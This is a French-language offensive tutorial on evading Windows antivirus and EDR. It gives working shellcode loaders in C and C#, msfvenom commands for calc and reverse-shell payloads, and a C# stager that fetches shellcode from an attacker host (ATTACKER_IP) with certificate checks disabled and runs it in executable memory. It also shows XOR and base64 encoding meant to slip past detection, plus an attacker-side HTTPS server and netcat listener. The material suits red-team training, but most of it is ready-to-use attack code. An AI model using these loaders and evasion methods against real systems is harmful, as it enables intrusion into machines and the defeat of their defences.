[Windows] Antivirus/EDR Evasion
Introduction
Cette page décrit les techniques que l'on peut utiliser pour échapper à la détection antivirale d'une solution de type EDR ou d'un antivirus traditionnel sur des systèmes Windows.
Techniques
Extraire le shellcode de la section .text
À partir d'un programme, vous pouvez en extraire le shellcode de sa section .text grâce à la commande suivante :
objcopy -j .text -O binary <INPUT_BINARY> <OUTPUT_BINARY>
On peut afficher son contenu au format C avec la commande xxd :
xxd -i <BINARY>
Injection de shellcode dans un programme C
#include <stdio.h>
int main(int argc, char **argv) {
unsigned char message[] = {
0xeb, 0x1e, 0xb8, 0x01, 0x00, 0x00, 0x00, 0xbf, 0x01, 0x00, 0x00, 0x00,
0x5e, 0xba, 0x0d, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xb8, 0x3c, 0x00, 0x00,
0x00, 0xbf, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xe8, 0xdd, 0xff, 0xff,
0xff, 0x54, 0x48, 0x4d, 0x2c, 0x20, 0x52, 0x6f, 0x63, 0x6b, 0x73, 0x21,
0x0d, 0x0a
};
(*(void(*)())message)();
return 0;
}
Remplacez le shellcode actuel par le vôtre.
Puis compilez-le :
gcc -g -Wall -z execstack <CODE>.c -o <OUTPUT>
Génération de shellcode avec Metasploit
L'outil msfvenom du framework Metasploit, vous permet de générer des shellcodes :
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c
Le shellcode lancera une calculatrice dans cet exemple.
Vous pouvez créer un programme pour Windows qui va injecter le shellcode :
#include <windows.h>
char stager[] = {
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" };
int main()
{
DWORD oldProtect;
VirtualProtect(stager, sizeof(stager), PAGE_EXECUTE_READ, &oldProtect);
int (*shellcode)() = (int(*)())(void*)stager;
shellcode();
}
Puis compilez-le :
i686-w64-mingw32-gcc calc.c -o calc-MSF.exe
Vous pouvez aussi générer des fichiers binaires en .bin plutôt que de créer des exécutables avec msfvenom :
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f raw > /tmp/example.bin
Vous pouvez utiliser la commande xxd -i sur le fichier généré pour créer un shellcode au format C.
Stage vs Stageless payloads
Un payload stageless va directement exécuter le programme malveillant :
Alors qu'un payload stage va exécuter un ou plusieurs stages qui vont récupérer le shellcode sur le serveur distant, l'injecter dans la mémoire puis potentiellement l'exécuter :
Voici les avantages du StageLess :
- Toute la charge utile dont le shellcode est inclue dans le programme.
- Le payload s'exécute sans effectuer de requête supplémentaire vers le réseau (ce qui pourrait être détecté par un IPS).
- Si vous attaquez un hôte avec des accès réseaux très restreints, vous avez toute la charge utile inclue dans le même programme.
Et voici les avantages du Staged :
- Les traces sur le disque sont réduites puisque le Stage0 est seulement en charge de récupérer le shellcode final. Il est aussi plus léger en espace disque.
- Le shellcode final n'est pas caché dans le programme, ce qui rend l'analyse plus complexe pour la Blue Team pour comprendre le fonctionnement du shellcode final.
- Le shellcode final est chargé uniquement dans la mémoire ce qui échappera à la détection de certains antivirus.
- On peut réutiliser le même Stage0 pour plusieurs shellcodes finaux différents.
Pour générer un payload Staged avec msfvenom utilisez le payload suivant :
windows/x64/shell/reverse_tcp
Et pour du StageLess :
windows/x64/shell_reverse_tcp
Voici un programme C# Staged qui va récupérer un fichier binaire sur le serveur de l'attaquant puis il va l'exécuter dans un thread :
using System;
using System.Net;
using System.Text;
using System.Configuration.Install;
using System.Runtime.InteropServices;
using System.Security.Cryptography.X509Certificates;
public class Program {
//https://docs.microsoft.com/en-us/windows/desktop/api/memoryapi/nf-memoryapi-virtualalloc
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
//https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-createthread
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
//https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
public static void Main()
{
string url = "https://ATTACKER_IP/shellcode.bin";
Stager(url);
}
public static void Stager(string url)
{
WebClient wc = new WebClient();
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
byte[] shellcode = wc.DownloadData(url);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(codeAddr), shellcode.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Pensez à remplacer l'adresse IP du serveur de l'atttaquantattaquant dans la fonction Main.
Sur une machine Windows vous pouvez compiler le code :
csc staged-payload.cs
Puis sur le serveur de l'attaquant, vous pouvez monter un serveur web avec un certificat (peu importe la validité) :
openssl req -new -x509 -keyout localhost.pem -out localhost.pem -days 365 -nodes
python3 -c "import http.server, ssl;server_address=('0.0.0.0',443);httpd=http.server.HTTPServer(server_address,http.server.SimpleHTTPRequestHandler);httpd.socket=ssl.wrap_socket(httpd.socket,server_side=True,certfile='localhost.pem',ssl_version=ssl.PROTOCOL_TLSv1_2);httpd.serve_forever()"
Maintenant que le serveur web est prêt, il faut générer le shellcode :
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=7474 -f raw -o shellcode.bin -b '\x00\x0a\x0d'
Puis lancez un serveur netcat en écoute :
nc -lvp 7474
Encodage et chiffrement
Un bon moyen d'éviter d'être détecté par les solutions antivirales consiste à encoder et/ou chiffrer notre shellcode.
Pour que ce soit efficace, il vaut mieux coupler plusieurs méthodes d'encodage et de chiffrement.
Voici un programme en C# qui encode le shellcode en base64 et qui le chiffre en XOR :
using System;
using System.Net;
using System.Text;
using System.Runtime.InteropServices;
public class Program {
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
public static void Main()
{
string dataBS64 = "qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=";
byte[] data = Convert.FromBase64String(dataBS64);
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
byte[] encoded = xor(data, keyBytes);
UInt32 codeAddr = VirtualAlloc(0, (UInt32)encoded.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(encoded, 0, (IntPtr)(codeAddr), encoded.Length);
IntPtr threadHandle = IntPtr.Zero;
UInt32 threadId = 0;
IntPtr parameter = IntPtr.Zero;
threadHandle = CreateThread(0, 0, codeAddr, parameter, 0, ref threadId);
WaitForSingleObject(threadHandle, 0xFFFFFFFF);
}
}
Pour le compiler depuis une machine Windows :
csc.exe EncStageless.cs
Ce programme prend en entrée le shellcode encodé en base64.
Pour encoder votre payload en base64, vous pouvez utiliser ce programme :
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Encrypter
{
internal class Program
{
private static byte[] xor(byte[] shell, byte[] KeyBytes)
{
for (int i = 0; i < shell.Length; i++)
{
shell[i] ^= KeyBytes[i % KeyBytes.Length];
}
return shell;
}
static void Main(string[] args)
{
//XOR Key - It has to be the same in the Droppr for Decrypting
string key = "THMK3y123!";
//Convert Key into bytes
byte[] keyBytes = Encoding.ASCII.GetBytes(key);
//Original Shellcode here (csharp format)
byte[] buf = new byte[460] { 0xfc,0x48,0x83,..,0xda,0xff,0xd5 };
//XORing byte by byte and saving into a new array of bytes
byte[] encoded = xor(buf, keyBytes);
Console.WriteLine(Convert.ToBase64String(encoded));
}
}
}
Remplacez votre shellcode dans la variable buf puis compilez et lancer-le :
C:\> csc.exe Encrypter.cs
C:\> .\Encrypter.exe
qKDPSzN5UbvWEJQsxhsD8mM+uHNAwz9jPM57FAL....pEvWzJg3oE=